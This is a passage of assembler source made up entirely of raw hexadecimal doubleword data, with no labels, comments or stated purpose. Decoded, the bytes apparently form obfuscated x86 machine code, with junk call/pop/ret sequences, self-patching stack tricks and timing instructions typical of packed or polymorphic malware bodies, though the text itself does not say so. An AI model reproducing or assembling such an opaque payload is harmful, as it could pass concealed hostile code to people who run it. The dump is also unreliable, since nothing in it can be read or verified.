47FCDA4Eh, 8D728BC5h, 4BB92C85h dd 0F8BF0F06h, 0BB525050h, 37E9423Ch, 0E960310Fh, 11h dd 39832FA9h, 0D1648F11h, 4A2B4047h, 7AF8285Fh, 0D68B66DBh dd 89585A61h, 0B70F2404h, 7D9529F8h, 0FF06482Bh, 481C0195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 20DBA241h, 0AE34B883h, 6A615C0Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0D96CC353h, 0F5CD0AAh, 0C89h, 68B0F00h, 8B000000h, 480A519Dh dd 0CDBA6006h, 31410075h, 481CC9BDh, 85C76106h, 6482425h dd 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh dd 24C35343h, 89762CABh, 0FC644CEDh, 2D8529A9h, 1064827h dd 4827498Dh, 2CBD8306h, 64BB9h, 2E840Fh, 0B70F0000h, 41E9F8h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0FC7718C3h, 0BD8BC9F2h, 6482C5Dh, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 28Ah dd 0B7FB8B00h, 25BD833Ch, 3064824h, 429850Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 269F39C3h, 7C814869h, 899EBD65h, 4832659Dh, 2CBD8306h dd 64BB9h, 3F1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 89F04BC3h, 4818659Dh dd 81666006h, 8AA210F7h, 0B5FF61D5h, 64BB92Ch, 0FFDFB70Fh dd 480E3595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 23FE2D4Dh, 59D0B50h, 5F06481Ah, 8BDFBF0Fh dd 4BB920B5h, 6840F06h, 81000000h, 0C494A6C7h, 106C710h dd 0B7000100h, 52505041h, 0A76DBF66h, 585A310Fh, 6A243489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 43C9C355h, 9E95Bh, 0B7950000h, 454F67DBh dd 0FFAF6311h, 4BB92CB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 3D8496ACh dd 7AD5A695h, 55BF6696h, 5995FF79h, 6A06481Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0BBA3C351h, 17CF5C80h, 12E8h, 87C32E00h, 868A5BBBh dd 1EA202C0h, 0C2A9F9D1h, 0FF3A3E6h, 87h, 0FE8B5F00h, 0B920B58Bh dd 850F064Bh, 1, 49858BFCh, 0BB064810h, 2305B8F8h, 0C48689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 899E8FC3h, 48098D95h, 19958B06h, 0B06480Ah dd 481BF19Dh, 4C28306h, 29199D89h, 50890648h, 0D8B70F20h dd 0C819C381h, 858D6DA0h, 64BCE09h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 96C35545h, 4C63807Eh, 33F187BBh dd 0B8868957h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0BA6CC351h, 64D33BBEh dd 0BF0F60D5h, 0DE8B66DBh, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E54DAFC3h dd 79E34D15h, 0BE60E3CAh, 32BCC6Dh, 2CB9BD2Bh, 0FF610648h dd 4BB92CB5h, 8D896006h, 6480071h, 0FF61CFB0h, 4823E195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 8F0F12Bh, 0D0BF6650h, 24348978h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 2BC35747h, 0E8816095h dd 37D7300Ch, 8D1BD89h, 0FF610648h, 4BB92CB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0F385CE32h, 6890Fh, 0D7810000h, 11A30641h dd 0E2D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 15A525C3h, 0DEBF0F8Dh, 1CA1BD83h dd 0F000648h, 2984h, 0D88B6600h, 891EB750h, 9D8B2434h dd 6480F45h, 0FE8h, 1BD6D500h, 501FAABEh, 0F1073708h, 0A6531C94h dd 17588ABFh, 0B5FF5B5Fh, 64BB92Ch, 0C820Fh, 8F0F0000h dd 6, 22D19D8Bh, 95FF0648h, 6482719h, 0B92CB5FFh, 0CF80064Bh dd 0DEB70FFBh, 0B4195FFh, 85290648h, 6482059h, 0CCDBD83h dd 0F020648h, 4C84h, 0F6B2BB00h, 858B7BAFh, 6480FD5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F2C35545h, 6BD1809Ch dd 6EE34C52h, 99D8B61h, 0C6064828h, 0EE90000h, 0ED000000h dd 1D2B02Ch, 0CEE3EC94h, 0A72D4CC4h, 6985C7C9h, 6480Eh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0CA75C356h, 9CB126B7h, 79154909h dd 14E9h, 55AE5600h, 0E0B65CE1h, 27E4738Eh, 7B549E9h, 782D4F5Fh dd 0E98589D7h, 0E9064826h, 0FFFFF378h, 13E9h, 6B89CC00h dd 0AF5D6B2Ah, 0DDF248A4h, 7AB50A61h, 0DD303F76h, 860FC18Bh dd 0 dd 32FD858Dh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 24EE5EC3h, 0E795842Eh, 0F0EABB90h dd 6650363Ch, 8990DE8Bh, 481D2595h, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0E487C351h, 29CB913Bh, 480C7D9Dh, 1006A06h, 480D6DBDh dd 0D8BF0F06h, 4779858Dh, 8A0F064Ch, 4, 5F616053h, 6A05C083h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0D21CC357h, 8D89CED5h, 6482ABDh, 0B7BF6650h dd 24048953h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0C3C35646h, 0A5BBF089h, 664D5AA7h, 6AF98Bh, 152006Ah dd 481A8D95h, 95FF5B06h, 648277Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 8BC35141h, 87BBD320h, 0C9BD89E3h dd 8D064832h, 4B9C148Dh, 399D8906h, 0FF06482Bh, 0E78151D1h dd 4E79C9A3h, 49BD835Fh, 1064819h, 6A850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0F93DC0C3h, 8BEDB0CDh, 481A599Dh, 0E7816606h, 26AA77Ch dd 75958960h, 8B06480Ah, 482C2585h, 66506106h, 89F662BBh dd 11E92404h, 0A7000000h, 0FBDD1C1Eh, 4FDD0846h, 1ED4123Bh dd 25BC19D3h, 23E195FFh, 8D0F0648h, 4, 8ACEBB66h, 0C49E9h dd 0E800h, 815D0000h, 4C4783EDh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 47EE13EBh dd 0D1BD89D7h, 6A064814h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0C972C350h, 28BFC079h dd 858D2FD8h, 64B9744h, 2F959D8Bh, 0E8900648h, 10h, 1ADC3315h dd 0DCA5D28Ch, 7E4E2AC4h, 4822E508h, 505F5B57h, 6A90FE8Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 3DEC352h, 9A33AB29h, 35FF64h, 0F000000h dd 1582h, 9E800h, 0C1E80000h, 0F41A3404h, 897CF98Ah, 4814F9BDh dd 89645F06h, 25h, 3C56BF00h, 85FF3791h, 6480A2Dh, 6A2EEF80h dd 0FFD98AFFh, 482181B5h, 79BB6606h, 0A595FF0Dh, 0E906480Ah dd 0F5h, 9EFCBF66h, 70E600B0h, 0C5D8529h, 71E40648h, 45CF81FCh dd 3C503955h, 0D6830F61h, 29000000h, 480A5D85h, 0C8B60F06h dd 25199D8Bh, 6BA0648h, 0E8000000h, 9, 0B744E9A8h, 5CFFEC70h dd 0F59D8B74h, 5F064823h, 0BD8BC18Bh, 64818C1h, 6604E8C1h dd 0B589E2F7h, 6480F85h, 0B589C82Bh, 6482769h, 5E8D18Bh dd 6B000000h, 84DEA8B3h, 0C5D8EB81h, 0E95F6D5Fh, 1, 6D858BF5h dd 8306480Ah, 820F07C0h, 0 dd 5300C083h, 5BDAB70Fh, 830FD03Bh, 0Bh, 1899BD89h, 4EE90648h dd 8B000000h, 482AC18Dh, 0DD9D8B06h, 83064804h, 840F01E1h dd 39h, 55B58953h, 5B064821h, 2AC1A583h, 0E9FE0648h, 11h dd 7189829Bh, 0B4829C94h, 5B32B41Bh, 0D54A7963h, 6D9589B6h dd 6606480Ah, 9D8BFE8Bh, 64827F1h, 0E9h, 0ADB58D00h, 8B064BDAh dd 4815C1BDh, 6A006A06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 88E1C350h, 0FE1BD8Bh dd 95BF0648h, 0FF08DD1Dh, 48306195h, 0A99D8906h, 0B906482Eh dd 0CABh, 7E9A4B3h, 0 dd 7C9E6974h, 0E1836C78h, 52006AFCh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9D8B5334h dd 64825A9h, 0DE9FCh, 3D9E0000h, 86ADF3B7h, 0D99D5D61h dd 0B8F76359h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F0C35141h dd 0B37E9BB8h, 0BD8960CDh, 6480AA9h, 0BA61h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E9E2CDC3h, 8, 9FE8D2E1h, 0FD3E65DFh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0D8C35141h, 89611E72h, 4829618Dh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0AD6CF055h, 830F0B39h, 5, 7DB8166h, 880DB2h, 810F0000h dd 5, 0D9EF5DBFh, 19958B1Dh, 6A06480Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B7EC355h dd 480F358Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 773DDE33h, 0FA99770Bh, 0AED8D89h dd 8B500648h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 1869BD8Bh, 0BD8B0648h, 64824A5h, 19A5BD83h, 0F000648h dd 5184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 2E454A89h, 5C062CDBh, 8E0F444Dh dd 4, 56EABF66h, 5569F3BBh, 0B822h, 0BF660000h, 8D8DA0BAh dd 6484B64h, 2AC58D89h, 0E1FF0648h, 2A25B509h, 0BD830648h dd 6482425h, 0A3840F00h, 8B000003h, 482A6D9Dh, 25BD8306h dd 1064824h, 3AB840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0CE838EC3h, 2425BD83h dd 0F030648h, 34A86h, 2860F00h, 8B000000h, 68BF60D9h, 666FFF78h dd 8166D98Ch, 805DB5E7h, 6A04E1h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 2D8068C3h, 8C49FE93h dd 2B118589h, 0C90A0648h, 12A840Fh, 0BD890000h, 6482421h dd 2385858Bh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0F4401C3h, 812F3720h, 0C98533FCh dd 6A06482Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 365C355h, 89216B7Eh, 481B2D9Dh dd 0BF669006h, 0B350493Bh, 0FA8B9060h, 0AD1B589h, 6A0648h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 29C35646h dd 3D6C60CDh, 0D863ACCDh, 41BD8BE0h, 6806482Dh, 0E6062291h dd 6E240481h, 6A1A18E1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0E420C350h, 0FF22AB32h dd 481C0195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 43A4C8BDh, 2CCA8884h, 8D892C07h dd 6480ACDh, 0B92C8589h, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0DBDEA9C3h, 567C077Ch dd 17FE95Bh, 0BD8B0000h, 6480D79h, 0B924858Bh, 8166064Bh dd 0C7EC7FEFh, 1800h, 2DBD8B00h, 8B06482Ah, 4BB928B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0BB38723Ah, 0F8BF0FCAh, 2BF1858Bh, 95310648h dd 6482CB9h, 68E0Fh, 0BD890000h, 6482361h, 6A0689h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 6EAAD7C3h, 0CE8CAh, 65770000h, 4B88BB06h, 3C5F7E8Fh dd 0F85098C0h, 0BF0F5F5Fh, 85858BDBh, 66064823h, 4689D88Bh dd 0BF0F5004h, 66965FFFh, 50A3A7BBh, 96F88B66h, 0E850Fh dd 6E80000h, 0D4000000h, 0C09C3287h, 5F6160B8h, 0B924B5FFh dd 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0B6B010C3h, 0B1E4F51Ch, 0BB666CF2h, 4A6845C5h dd 0B7AD8059h, 240481FDh, 529EAAB5h, 0F4FBF66h, 0B92C858Dh dd 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0B9C023C3h, 903042D1h, 3446BB66h, 90FA8B50h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 37C35040h dd 0BF977D0Fh, 0FC872E79h, 5E8h, 46780600h, 4FBF1EBFh dd 5B345B41h, 1C0195FFh, 0AE90648h, 27000000h, 0B91FC9E0h dd 1253E8E6h, 870F615Ch, 6, 259DBD89h, 85C70648h, 6482425h dd 3, 152FBB66h, 0B92CBD83h, 0F00064Bh, 3684h, 4CE900h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 40EF6AC3h, 0A1BE8043h, 0AE9h, 0A1A8FC00h dd 5D579A50h, 50351B63h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 1E2FCEC3h, 0DF80E3B3h dd 25BD8346h, 3064824h, 40E850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8950C3h dd 6483121h, 66CB8166h, 2CBD8393h, 64BB9h, 3DA840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0D72605C3h, 0C23DCB67h, 8E937B2h, 66000000h, 8D5F95ECh dd 2B753E2Dh, 482DD19Dh, 2CB5FF06h, 8B064BB9h, 3595FFFEh dd 6A06480Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 4BF2C351h, 99CE1E09h, 20B58B53h dd 6A064BB9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0E394C356h, 106C7B6h, 6A000100h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 8B26C352h, 73594925h, 29A52139h, 0B6BF6650h dd 243489DAh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 52C35040h, 620EBF36h, 0FF43ECAh, 78Ch, 0DFBB5100h dd 5F609893h, 0B92CB5FFh, 6A064Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 95FF0AC3h, 6481D59h dd 0C5F7BF66h, 93E38166h, 20B58B49h, 89064BB9h, 48000995h dd 49858B06h, 89064810h, 0C486h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 301028E7h dd 0B5892784h, 6480E91h, 0A19958Bh, 0DB810648h, 6D39C81Ch dd 6604C283h, 89E08ABFh, 6A2050h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0CC7768C3h, 119D8920h dd 8D064806h, 4BCE0985h, 0D9D8B06h, 8906482Eh, 0B886h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0EB0A17F9h, 50C9583h, 0AE953h, 166B0000h dd 0B97AE6ABh, 41753A6Bh, 66006A5Fh, 0FFBD9DBFh, 4BB92CB5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 25B331Ah, 0B3D9D8Bh, 95FF0648h, 64823E1h dd 9687D780h, 8F0F50h, 96000000h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7EC35646h dd 0C1DB8166h, 2CB5FF7Fh, 66064BB9h, 95FFDA8Bh, 6480E2Dh dd 0BD8371B7h, 6481CA1h, 39840F00h, 0E8000000h, 0Dh, 1E9FA151h dd 3E500584h, 90D87322h, 16BB6673h, 8B505B5Ah, 243489F9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 42C35545h dd 0B92CB5FFh, 9D8B064Bh, 64800E9h, 271995FFh, 6A0648h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 66195DC3h, 2CCF781h, 19819D8Bh, 52560648h, 5FD8BF0Fh dd 2CB5FF5Bh, 6A064BB9h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 3FE5C353h, 9E8h, 0FFD2EE00h dd 780BAA22h, 9D236215h, 648199Dh, 0A1B5895Fh, 0FF06481Fh dd 480B4195h, 0CDBD8306h, 206480Ch, 79840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 2B57C1C3h, 4809E1BDh, 68A0F06h, 89000000h, 481ECD9Dh dd 0EE906h, 0D8C30000h, 0F2835240h, 5462EB6h, 0BB3F27CAh dd 0FD5858Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0B5EC86C3h, 81601ECCh, 93BF94D2h dd 0C6614Eh, 15B58900h, 0C7064801h, 480E6985h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 6C4E0841h, 676130F3h, 8D893665h, 64829E5h, 0FFF4A2E9h dd 1860FFFh, 0F9000000h, 9D0BC18Bh, 6482861h, 2A59BD8Bh dd 858D0648h, 64832FDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0B5C35141h, 0F160E8ADh, 20A56E9Fh, 0B98D01EDh dd 0BB064804h, 11917D0Fh, 50F98B90h, 55BF6660h, 0C78B664Fh dd 0B5299061h, 6482415h, 0FE9006Ah, 1000000h, 0E17BEC6Ch dd 831E448Ah, 2A1E4DDEh, 6A3820h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0E4C35141h, 8DDBBF0Fh, 4C560185h dd 13E906h, 0EEF50000h, 0F12AA9D1h, 5803BFA1h, 8FDAD3D1h dd 623C6197h, 5C083E0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 28C35242h, 0C989770h, 0F44C63Eh, 686h dd 6D9D8B00h, 5006482Bh, 0AE9h, 633CF000h, 6A1DF768h, 89DE9184h dd 81662404h, 6A853FE7h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0C6ECC95Fh, 84722EEAh dd 0BD29E059h, 6482C95h, 0BD8B006Ah, 64831E5h, 277D95FFh dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 9D8BD6C3h, 648310Dh, 716438BBh, 148D8D08h dd 6A064B9Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 5CE6C356h, 8B4569ADh, 12E9D1FFh dd 98000000h, 0ED0C7D22h, 0CE3219B1h, 8CFBF385h, 8B5298FDh dd 49BD8391h, 1064819h, 0A2850Fh, 0BE90000h, 2B000000h dd 0F5709680h, 706FF1D0h, 9D8B6634h, 6481CBDh, 6A026Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 19016C3h, 2FC7E8AAh, 0F905791h, 128Bh, 0AE800h, 0B6900000h dd 9102493Ch, 0E6535C6Ch, 505BFA8Bh, 0FE9h, 824E2600h dd 141AD47Eh, 71088A9Dh, 1D935C5h, 62D78190h, 0FF50EF11h dd 4823E195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0C2886CBDh, 3C3924CFh, 95291B9Ah dd 6481569h, 0D93E9h, 0E800h, 815D0000h, 4C560BEDh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 7068B674h, 0E9537357h, 0Eh, 5F8797B5h, 5B1FDBCFh, 122C875Eh dd 6A5B74CFh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 250CC357h, 0A134A1E4h, 3C924AA4h dd 23F19509h, 858D0648h, 64B9744h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 21C35141h, 5BBB92Ah, 6657462Dh dd 7393D381h, 850F605Bh, 6, 1EB1958Bh, 7EBA0648h, 61300A42h dd 6D69BF50h, 489707Eh, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0DC8F1984h, 0A950A616h dd 6014B3FBh, 49952950h, 58064806h, 1F518529h, 64610648h dd 35FFh, 9D8B0000h, 6480DEDh, 258964h, 8B000000h, 2D85FFD8h dd 8B06480Ah, 481005BDh, 6AFF6A06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 1B6DC350h dd 0A90852AFh, 2EBF6657h, 0B5FF5BC6h, 6482281h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0BFC35343h, 68685E42h dd 0C368EFC2h, 7E9h, 7088DA00h, 7CF1FF37h, 595BD8Bh, 95FF0648h dd 6480AA5h, 15DE9h, 59858900h, 0B0064820h, 0A5BD8900h dd 0E6064828h, 3C71E470h, 43830F61h, 0E8000001h, 6, 6BCB353Fh dd 8E0F205Ch, 6, 2D09BD8Bh, 0F5F0648h, 12E8C8B6h, 0E5000000h dd 0DB3F07D5h, 9CF6EBEFh, 0E62A0C64h, 6ADB9C9Bh, 89BD2B12h dd 5B064821h, 6BAh, 0B58B6000h, 6480FEDh, 2A199589h, 89610648h dd 4808D59Dh, 0B3C18B06h, 4E8C1CCh, 29559D8Bh, 0F7660648h dd 11E9E2h, 0BC640000h, 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h dd 2BE1DB69h, 0AE9C8h, 8FA00000h, 0ED6E177Dh, 47E12E6Bh dd 9D8BD18Bh, 6482749h, 6870Fh, 9D890000h, 6481E65h, 6E9h dd 810F00h, 8B000000h, 482B8185h, 4D78106h, 6016D177h dd 8BDBB70Fh, 48095585h, 0C0836106h, 830F6007h, 0 dd 0F5D958Bh, 83610648h, 3BF900C0h, 1A830FD0h, 0F000000h dd 8B53F9B7h, 48052DBDh, 57E95B06h, 0F000000h, 484h, 51BB6600h dd 0C58D8BA5h, 0E9064826h, 0Ah, 6E119693h, 0EDC05747h dd 0E183981Dh, 2F840F01h, 66000000h, 557BF381h, 26C5A583h dd 1FE0648h, 4832158Dh, 81958906h, 5706482Bh, 0BE9h, 41877900h dd 71F25418h, 0A09748AFh, 0E95Bh, 0B58D0000h, 64BE9E2h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0ECC35040h dd 0F2FA90E9h, 0A6E544A7h, 6A006AFCh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0B458C352h dd 335B62D9h, 99D8BCAh, 0FF064809h, 48306195h, 9A4B906h dd 0BD890000h, 6481B85h, 59D2352h, 5B064821h, 66FCE183h dd 0FEC5DF81h, 0A840FFCh, 0E9000000h, 5, 0C387DB17h, 1C02B6Eh dd 4815818Dh, 0E9D22B06h, 0Ch, 59E61893h, 77283422h, 6012EF0Ch dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 98C35545h, 61455FDDh, 9D2B1362h dd 6480129h, 6022C2BFh, 880D40h, 0E7810000h, 0DAFAC79h dd 0A19958Bh, 8D8B0648h, 6480F35h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 4AC35545h, 8166BBE6h, 5713DFCFh dd 3820Fh, 8B660000h, 8B505BDEh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 11E9h, 81EEE500h, 0C0F468AAh, 8BE200A0h dd 0FFFD5D81h, 6A2367h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0B4C3D5C3h, 0A5BD831Ah, 64819h dd 0D8840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 13E8E1C3h, 22000000h, 6BB50593h dd 80F0F996h, 0E6052AE5h, 88B34B6Ch, 13E8B253h, 0BE000000h dd 0BA6A1327h, 0F80A728Ch, 0EA5DDCACh, 0F1680D93h, 0C781D217h dd 6C27843Ah, 0B85F5Fh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6ECBC352h dd 0B64BC119h, 601CE195h, 28158D29h, 8D290648h, 6480FBDh dd 648D8D61h, 6A06484Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0DDDC352h, 52FFAD02h dd 0E1FF5BF5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0EFC35343h, 0A08B8321h, 0BD83FCE5h, 6482425h, 0DB840F00h dd 6A000003h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 9773C351h, 0BD835D25h, 6482425h dd 0CA840F01h, 60000003h, 59A1C0B9h, 6059B93Ah, 29615920h dd 4820899Dh, 25BD8306h, 3064824h, 375860Fh, 0AE80000h dd 0E1000000h, 0A0C8599Ch, 6E32F938h, 68D0F22h, 81000000h dd 0C9DDACC7h, 6A605F3Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 3F66C353h, 8B57C720h dd 480479BDh, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 93C35040h, 242E0493h, 80D88B66h, 8D2904E1h dd 6482F15h, 840FC90Ah, 102h, 2769B529h, 858B0648h, 6482385h dd 33DBB70Fh, 482AC985h, 0AE806h, 409E0000h, 0F3D9D7D8h dd 5575968Fh, 9D8B5BF8h, 6480ED5h, 0DCB96050h, 0F7BDA13h dd 58Dh, 0C5EFBB00h, 896118F5h, 6AFC2404h, 0BE900h, 992D0000h dd 0C611BE70h, 650F2F65h, 4E82Eh, 3FF0000h, 5052001Fh dd 0FE8B352h, 5E831h, 25310000h, 5FD00377h, 505F585Ah dd 448B86B3h, 830F0424h, 2, 8BA3B7h, 0BF665250h, 310F7A7Ah dd 61D68B60h, 4489585Ah, 86BB0424h, 5803DF36h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E0C35242h, 0E3814216h dd 35B2359h, 1C0195FFh, 0B5890648h, 6481571h, 0B92C8589h dd 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0C8D7B1C3h, 1AF990FEh, 0FBBF0F07h, 19EE9h dd 0BFD3BB00h, 858B17BFh, 64BB924h, 1800C7h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8B131FC3h, 0A99D8BD8h, 8B06482Eh, 4BB928B5h, 0B9858906h dd 8B064808h, 482BF185h, 0BCF8006h, 6A0689h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FC562C3h dd 680h, 0DDBD2300h, 8B064818h, 48238585h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0E6AE296Ch, 89496487h, 6A0446h, 3E851h, 59200000h, 4C8959C3h 